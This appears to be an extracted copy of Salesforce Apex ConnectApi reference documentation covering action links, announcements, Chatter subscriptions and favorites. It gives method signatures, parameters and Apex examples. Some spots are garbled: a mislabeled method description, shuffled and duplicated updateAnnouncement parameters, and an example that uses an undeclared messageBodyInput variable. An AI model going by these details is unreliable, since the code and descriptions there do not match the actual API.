Access information about flagged feed items and comments in an Experience Cloud site. Add and remove flags from comments and feed items.

ContentHub Class
Access Files Connect repositories and their files and folders.

Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
EmailMergeFieldService Class
Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record.

EmployeeProfiles Class
Get, set and crop, and delete employee banner photos and photos.

ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email account.

ExternalManagedAccount Class
Get externally managed accounts.

FieldService Class
Preview and create shifts from a pattern.

FulfillmentOrder Class
Fulfill orders in Order Management.

Knowledge Class
Access information about trending articles in Experience Cloud sites.

ManagedContent Class
Get managed content versions.

ManagedTopics Class
Access information about managed topics in an Experience Cloud site. Create, delete, and reorder managed topics.

Mentions Class
Access information about mentions. A mention is an "@" character followed by a user or group name. When a user or group is mentioned, they receive a notification.

Missions Class
Export and purge mission activity for users. Get a user's mission progress. Update mission activity counts for users.

NextBestAction Class
Execute recommendation strategies, get recommendations, manage recommendation reactions.

OmnichannelInventoryService Class
Route orders to inventory locations in Order Management.

OrderPaymentSummary Class
Work with payments in Order Management.

OrderSummary Class
Work with orders in Order Management.

OrderSummaryCreation Class
Create Order Summaries in Order Management.

Organization Class
Access information about an org.

Payments Methods
Authorize a payment, capture an authorized payment, and refund an authorized payment.
Personalization Class
Get assigned personalization audiences that match the user context. Create, get, update, and delete an audience. Get personalization targets that match the user context, based on the assigned audiences that include the user. Create and update targets. Get and delete a target.

QuestionAndAnswers Class
Access question and answers suggestions.

Recommendations Class
Get and reject Chatter, custom, and static recommendations. Create, get, update, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.

Routing Class
Route orders to inventory locations in Order Management.

SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.

SmartDataDiscovery Class
Get predictions on Salesforce objects.

SocialEngagement Class
Manage information about social accounts or fan pages for social networks.

Survey Class
Send survey invitations by email.

Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information about groups contributing to the topic. Update a topic’s name or description, merge topics, and add and remove topics from records and feed items.

UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are custom tabs on the profile page.

Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone having its own focus and unique questions.

ConnectApi Input Classes
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.

ConnectApi Output Classes
Most ConnectApi methods return instances of ConnectApi output classes.

ConnectApi Enums
Enums specific to the ConnectApi namespace.

ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
**ActionLinks Class**

Create, delete, and get information about an action link group definition; get information about an action link group; get action link diagnostic information.

**Namespace**

ConnectApi

**Usage**

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes potentially sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the values reflect the state of the context user.

Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission. Use these methods to operate on action link group definitions (which contain action link definitions):

- `createActionLinkGroupDefinition(communityId, actionLinkGroup)`
- `deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)`
- `getActionLinkGroupDefinition(communityId, actionLinkGroupId)`

Use these methods to operate on a context user’s view of an action link or an action link group:

- `getActionLink(communityId, actionLinkId)`
- `getActionLinkGroup(communityId, actionLinkGroupId)`
- `getActionLinkDiagnosticInfo(communityId, actionLinkId)`

For information about how to use action links, see Working with Action Links.

**ActionLinks Methods**

The following are methods for ActionLinks. All methods are static.

**IN THIS SECTION:**

- `createActionLinkGroupDefinition(communityId, actionLinkGroup)`
  Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition. Then post a feed element with an associated actions capability.

- `deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)`
  Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.

- `getActionLink(communityId, actionLinkId)`
  Get information about an action link, including state for the context user.
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the action link.

getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.

getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.

cREATEACTIONLINKGROUPDEFINITION (communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition. Then post a feed element with an associated actions capability.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.ActionLinkGroupDefinition createActionLinkGroupDefinition(String communityId, ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroup)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

actionLinkGroup
Type: ConnectApi.ActionLinkGroupDefinitionInput
A ConnectApi.ActionLinkGroupDefinitionInput object that defines the action link group.

Return Value
Type: ConnectApi.ActionLinkGroupDefinition

Usage
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone actions in their own action group.
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

**Note:** Invoking `ApiAsync` action links from an app requires a call to set the status. However, there isn’t currently a way to set the status of an action link using Apex. To set the status, use Connect REST API. See the Action Link resource in the Connect REST API Developer Guide for more information.

Example for Defining an Action Link and Posting with a Feed Element

For more information about this example, see Define an Action Link and Post with a Feed Element.

```java
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();

// Create the action link group definition.
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;

// To Do: Verify that the date is in the future.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;

// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{"subjectId": "me","feedElementType": "FeedItem","body": [{"messageSegments": [{"type": "Text","text": "This is a test post created via an API action link."}]}]}';
actionLinkDefinitionInput.requiresConfirmation = true;

// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth 00DD00000007WNP!ARsAQCwoeV0zzAV847FT14zF.85w.EwsPbUgXR4SAjpsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);

requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);

// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
```
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
    ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
        actionLinkGroupDefinitionInput);

ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
    ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
    ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';

// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);

// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupId = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupId.add(actionLinkGroupDefinition.id);

// Post the feed item.
ConnectApi.FeedElement feedElement =
    ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

Example for Defining an Action Link in a Template and Posting with a Feed Element
For more information about this example, see Define an Action Link in a Template and Post with a Feed Element.

// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
    DeveloperName='Doc_Example'];

// Add binding name-value pairs to a map.
// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
bindingMap.put('SubjectId', 'me');

// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
    ConnectApi.ActionLinkTemplateBindingInput bindingInput = new ConnectApi.ActionLinkTemplateBindingInput();
    bindingInput.key = key;
    bindingInput.value = bindingMap.get(key);
    bindingInputs.add(bindingInput);
}

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
    ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
    actionLinkGroupDefinitionInput);

ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';

// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);

// Post the feed item.
ConnectApi.FeedElement feedElement =
    ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.

API Version
33.0

Requires Chatter
No

Signature
public static void deleteActionLinkGroupDefinition(String communityId, String actionLinkGroupId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

actionLinkGroupId
  Type: String
  The ID of the action link group.

Return Value
Type: Void

Usage
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

getactionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.

API Version
33.0

Requires Chatter
No
Signature

```java
public static ConnectApi.PlatformAction getActionLink(String communityId, String actionLinkId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `actionLinkId`
  - Type: `String`
  - The ID of the action link.

Return Value

Type: `ConnectApi.PlatformAction`

---

**getActionLinkDiagnosticInfo(communityId, actionLinkId)**

Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the action link.

API Version

33.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ActionLinkDiagnosticInfo getActionLinkDiagnosticInfo(String communityId, String actionLinkId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `actionLinkId`
  - Type: `String`
  - The ID of the action link.

Return Value

Type: `ConnectApi.ActionLinkDiagnosticInfo`
**getActionLinkGroup**(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.

**API Version**
33.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.PlatformActionGroup getActionLinkGroup(String communityId, String actionLinkGroupId)
```

**Parameters**
- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.
- **actionLinkGroupId**
  - Type: String
  - The ID of the action link group.

**Return Value**
Type: `ConnectApi.PlatformActionGroup`

**Usage**
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Action link groups are accessible by clients, unlike action link group definitions.

**getActionLinkGroupDefinition**(communityId, actionLinkGroupId)
Get information about an action link group definition.

**API Version**
33.0

**Requires Chatter**
No
Signature

```java
public static ConnectApi.ActionLinkGroupDefinition getActionLinkGroupDefinition(String communityId, String actionLinkGroupId)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **actionLinkGroupId**
  - Type: String
  - The ID of the action link group.

Return Value

Type: `ConnectApi.ActionLinkGroupDefinition`

Usage

Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

**Announcements Class**

Access information about announcements and post announcements.

**Namespace**

`ConnectApi`

**Usage**

Use the `ConnectApi.Announcements` class to get, create, update, and delete announcements. Use an announcement to highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post deletes the announcement.

This image shows an announcement displayed in a group. Creating an announcement also creates a feed item with the announcement text.
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.

**Announcements Methods**

The following are methods for Announcements. All methods are static.

**IN THIS SECTION:**

- `deleteAnnouncement(communityId, announcementId)`
  Delete an announcement.

- `getAnnouncement(communityId, announcementId)`
  Get an announcement.

- `getAnnouncements(communityId, parentId)`
  Get the first page of announcements.

- `getAnnouncements(communityId, parentId, pageParam, pageSize)`
  Get a page of announcements.

- `postAnnouncement(communityId, announcement)`
  Post an announcement.

- `updateAnnouncement(communityId, announcementId, expirationDate)`
  Update the expiration date of an announcement.

### deleteAnnouncement(communityId, announcementId)

Delete an announcement.
API Version
31.0

Requires Chatter
Yes

Signature
public static void deleteAnnouncement(String communityId, String announcementId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

announcementId
Type: String
An announcement ID, which has a prefix of 0BT.

Return Value
Type: Void

Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement).

getAnnouncement(communityId, announcementId)
Get an announcement.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement getAnnouncement(String communityId, String announcementId)
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`announcementId`
Type: String
An announcement ID, which has a prefix of 0BT.

Return Value
Type: `ConnectApi.Announcement`

Usage
To get a list of announcements in a group, call `getAnnouncements(communityId, parentId)` or `getAnnouncements(communityId, parentId, pageParam, pageSize)`.
To post an announcement to a group, call `postAnnouncement(communityId, announcement)`.

`getAnnouncements(communityId, parentId)`
Get the first page of announcements.

API Version
36.0

Available to Guest Users
38.0

Requires Chatter
Yes

Signature

```
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String parentId)
```

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`parentId`
Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
Return Value
Type: `ConnectApi.AnnouncementPage`

**getAnnouncements(communityId, parentId, pageParam, pageSize)**
Get a page of announcements.

API Version
36.0

Available to Guest Users
38.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String parentId, Integer pageParam, Integer pageSize)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- **parentId**
  Type: `String`
  ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
- **pageParam**
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.
- **pageSize**
  Type: `Integer`
  Specifies the number of announcements per page.

Return Value
Type: `ConnectApi.AnnouncementPage`

**postAnnouncement(communityId, announcement)**
Post an announcement.
API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement postAnnouncement(String communityId, ConnectApi.AnnouncementInput announcement)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

announcement
Type: ConnectApi.AnnouncementInput
An ConnectApi.AnnouncementInput object.

Return Value
Type: ConnectApi.Announcement

updateAnnouncement(communityId, announcementId, expirationDate)
Update the expiration date of an announcement.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement updateAnnouncement(String communityId, String announcementId, Datetime expirationDate)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

announcementId
Type: String

expirationDate
Type: Datetime
An announcement ID, which has a prefix of 0BT.

expirationDate
Type: Datetime
The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your own UI.

Return Value
Type: ConnectApi.Announcement

Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement).

Chatter Class
Access information about followers and subscriptions for records.

Namespace
ConnectApi

Chatter Methods
The following are methods for Chatter. All methods are static.

IN THIS SECTION:
  deleteSubscription(communityId, subscriptionId)
  Get information about a subscription.
  submitDigestJob(period)
  Submit a daily or weekly Chatter email digest job.

deleteSubscription(communityId, subscriptionId)
Delete a subscription. Use this method to stop following a record, a user, or a file.
API Version
28.0

Requires Chatter
Yes

Signature
public static void deleteSubscription(String communityId, String subscriptionId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subscriptionId
Type: String
The ID for a subscription.

Return Value
Type: Void

Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they followed.

To leave a group, call deleteMember(communityId, membershipId).

Example
When you follow a user, the call to ConnectApi.ChatterUsers.follow returns a ConnectApi.Subscription object.
To stop following the user, pass the id property of that object to this method.

ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');

SEE ALSO:
Follow a Record
follow(communityId, userId, subjectId)

getFollowers(communityId, recordId)
Get the first page of followers for a record.
API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
recordId
  Type: String
  The ID for a record or the keyword me.

Return Value
Type: ConnectApi.FollowerPage

Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they followed.

SEE ALSO:
Follow a Record

getFollowers(communityId, recordId, pageParam, pageSize)
Get a page of followers for a record.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId, Integer pageParam, Integer pageSize)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**recordId**
Type: String
The ID for a record or the keyword me.

**pageParam**
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowerPage

Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they followed.

SEE ALSO:
Follow a Record

**getSubscription(communityId, subscriptionId)**
Get information about a subscription.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Subscription getSubscription(String communityId, String subscriptionId)
Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or **null**.

- **subscriptionId**
  - Type: String
  - The ID for a subscription.

Return Value

Type: **ConnectApi.Subscription**

Usage

“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they followed.

SEE ALSO:

- [Follow a Record](#)

**submitDigestJob(period)**

Submit a daily or weekly Chatter email digest job.

API Version

37.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.DigestJobRepresentation submitDigestJob(ConnectApi.DigestPeriod period)
```

Parameters

- **period**
  - Type: **ConnectApi.DigestPeriod**
  - Time period that’s included in a Chatter email digest. Values are:
    - **DailyDigest**—The email includes up to the 50 latest posts from the previous day.
    - **WeeklyDigest**—The email includes up to the 50 latest posts from the previous week.
Return Value

Type: ConnectApi.DigestJob

Usage

The times when Chatter sends email digests are not configurable in the UI. To control when email digests are sent and to use this method, contact Salesforce to enable API-only Chatter Digests.

⚠️ **Warning:** Enabling API-only Chatter Digests disables the scheduled digests for your org. You must call the API for your users to receive their digests.

We recommend scheduling digest jobs by implementing the Apex Schedulable interface with this method. To monitor your digest jobs from Setup, enter **Background Jobs** in the Quick Find box, then select **Background Jobs**.

Example

Schedule daily digests:

```java
global class ExampleDigestJob1 implements Schedulable {
    global void execute(SchedulableContext context) {
        ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.DailyDigest);
    }
}
```

Schedule weekly digests:

```java
global class ExampleDigestJob2 implements Schedulable {
    global void execute(SchedulableContext context) {
        ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.WeeklyDigest);
    }
}
```

SEE ALSO:

- Apex Scheduler

**ChatterFavorites Class**

Chatter favorites give you easy access to topics, list views, and feed searches.

**Namespace**

ConnectApi

**Usage**

Use Connect in Apex to get and delete topics, list views, and feed searches that have been added as favorites. Add topics and feed searches as favorites, and update the last view date of a feed search or list view feed to the current system time.

In this image of Salesforce, “Build Issues” is a topic, “All Accounts” is a list view, and “United” is a feed search:
ChatterFavorites Methods

The following are methods for ChatterFavorites. All methods are static.

IN THIS SECTION:

- `addFavorite(communityId, subjectId, searchText)`
  Add a feed search favorite for a user.
- `addRecordFavorite(communityId, subjectId, targetId)`
  Add a topic as a favorite.
- `deleteFavorite(communityId, subjectId, favoriteId)`
  Delete a favorite.
- `getFavorite(communityId, subjectId, favoriteId)`
  Get information about a favorite.
- `getFavorites(communityId, subjectId)`
  Get a list of favorites for a user.
- `getFeedElements(communityId, subjectId, favoriteId)`
  Get the first page of feed elements for a favorite.
- `getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)`
  Get a page of sorted feed elements for a favorite.
- `getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)`
  Get a page of sorted feed elements for a favorite. Include no more than the specified number of comments per feed element.
- `updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)`
  Update the last view date of the saved search or list view feed to the current system time.
addFavorite(communityId, subjectId, searchText)
Add a feed search favorite for a user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite addFavorite(String communityId, String subjectId, String searchText)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
searchText
Type: String
Specify the text of the search to be saved as a favorite. This method can only create a feed search favorite, not a list view favorite or a topic.

Return Value
Type: ConnectApi.FeedFavorite

addRecordFavorite(communityId, subjectId, targetId)
Add a topic as a favorite.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite addRecordFavorite(String communityId, String subjectId, String targetId)
Parameters

- communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- subjectId
  Type: String
  The ID of the context user or the alias me.

- targetId
  Type: String
  The ID of the topic to add as a favorite.

Return Value
Type: ConnectApi.FeedFavorite

deleteFavorite(communityId, subjectId, favoriteId)
Delete a favorite.

API Version
28.0

Requires Chatter
Yes

Signature

public static Void deleteFavorite(String communityId, String subjectId, String favoriteId)

Parameters

- communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- subjectId
  Type: String
  The ID of the context user or the alias me.

- favoriteId
  Type: String
  The ID of a favorite.
Return Value
Type: Void

**getFavorite(communityId, subjectId, favoriteId)**
Get information about a favorite.

API Version
28.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedFavorite getFavorite(String communityId, String subjectId, String favoriteId)
```

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- **subjectId**
  Type: String
  The ID of the context user or the alias me.
- **favoriteId**
  Type: String
  The ID of a favorite.

Return Value
Type: `ConnectApi.FeedFavorite`

**getFavorites(communityId, subjectId)**
Get a list of favorites for a user.

API Version
28.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FeedFavorites getFavorites(String communityId, String subjectId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `subjectId`
  - Type: `String`
  - The ID of the context user or the alias `me`.

Return Value

Type: `ConnectApi.FeedFavorites`

```java
getFeedElements(communityId, subjectId, favoriteId)
```

Get the first page of feed elements for a favorite.

API Version

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String subjectId, String favoriteId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `subjectId`
  - Type: `String`
  - The ID of the context user or the alias `me`.

- `favoriteId`
  - Type: `String`
  - The ID of a favorite.
Return Value
Type: `ConnectApi.FeedElementPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetFeedElements(communityId, subjectId, favoriteId, result)`
  - Testing ConnectApi Code

```java
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
```
Get a page of sorted feed elements for a favorite.

API Version
31.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters
- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or null.
- `subjectId`
  - Type: `String`
  - The ID of the context user or the alias me.
- `favoriteId`
  - Type: `String`
  - The ID of a favorite.
- `pageParam`
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.
**pageSize**

Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**

Type: `ConnectApi.FeedSortOrder`

Values are:

- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetFeedElements(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)`

Testing ConnectApi Code

